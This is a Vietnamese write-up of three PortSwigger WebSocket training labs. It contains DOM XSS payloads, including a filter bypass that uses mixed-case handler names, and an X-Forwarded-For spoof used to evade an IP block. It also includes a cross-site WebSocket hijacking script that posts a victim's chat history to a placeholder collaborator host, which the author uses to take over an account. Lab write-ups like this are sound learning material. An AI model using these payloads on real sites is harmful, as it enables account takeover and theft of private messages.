# Portswigger Websockets 😴
<style>body {text-align: justify}</style>
Hi, dưới đây là writeup của 3/3 bài lab về lỗ hổng [WebSockets](https://portswigger.net/web-security/websockets) mình đã solve trong quá trình ôn tập thi chứng chỉ của Portswigger.
### 1. Manipulating WebSocket messages to exploit vulnerabilities
##### Description
> This online shop has a live chat feature implemented using WebSockets.
>
> Chat messages that you submit are viewed by a support agent in real time.
>
> To solve the lab, use a WebSocket message to trigger an `alert()` popup in the support agent's browser.
##### Writeup
Ứng dụng có chức năng Live Chat. Thử chat với nội dung bất kì như hình.

Các message sẽ được giao tiếp giữa client-server bằng web sockets.

Kiểm tra source `chat.js` ta thấy các message được render thông qua innerHTML và không có cơ chế validate message. Có khả năng bị dính DOM XSS.

Kiểm tra cách message được render trong tag `<td>`

Gửi message với XSS payload `<img src=1 onerror=alert(1)>`.

Lúc này XSS thành công và ta solve được challenge.

### 2. Manipulating the WebSocket handshake to exploit vulnerabilities
##### Description
> This online shop has a live chat feature implemented using WebSockets.
>
> It has an aggressive but flawed XSS filter.
>
> To solve the lab, use a WebSocket message to trigger an `alert()` popup in the support agent's browse
##### Writeup
Ứng dụng có chức năng Live chat.

Gửi payload tương tự lab 1 thì đã bị filter.


Và sau đó cũng đã bị block IP.

Ta sẽ thao tác lại các bước bắt tay giữa client-server để giao tiếp như các bước sau:
- Reconnect

- Thêm header `X-Forwarded-For: 127.0.0.1` để bypass IP block.

- Kết nối lại thành công.

Làm lại các bước trên với payload XSS khác. Thực hiện cho đến khi bypass với:
```
<img src=1 oNeRrOr=alert`1`>
```

Trigger XSS thành công và ta solve được challenge.

### 3. Cross-site WebSocket hijacking
##### Description
> This online shop has a live chat feature implemented using WebSockets.
>
> To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a cross-site WebSocket hijacking attack to exfiltrate the victim's chat history, then use this gain access to their account.
##### Writeup
Mỗi session live chat sẽ được lưu lịch sử dựa vào session cookie.

Chat thử nội dung bất kì và thoát ra. Quay lại đoạn chat ta sẽ thấy history sẽ được load.

Bây giờ thực hiện CSWSH để lừa nạn nhân khiến nó gửi history về domain của mình control.
Khi bắt đầu hay quay lại live chat, client sẽ gửi server `READY`.

Ta sẽ viết payload thực hiện gửi `READY` đến web socket url trước rồi khi nó load tin nhắn thì tận dụng sự kiện onmessage để trả tất cả message về collaborator.
```javascript
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
```
Lưu payload vào exploit-server.

Thử `View exploit` ta thấy lịch sử chat của mình đã được gửi về collaborator → Attack thành công.

`Deliver exploit to victim` và ta nhận được lịch sử chat của nạn nhân. Tìm được message chứa account của carlos.

Đăng nhập bằng account lấy được và ta solve được challenge.

###### tags: `portswigger`, `ws`, `client-side`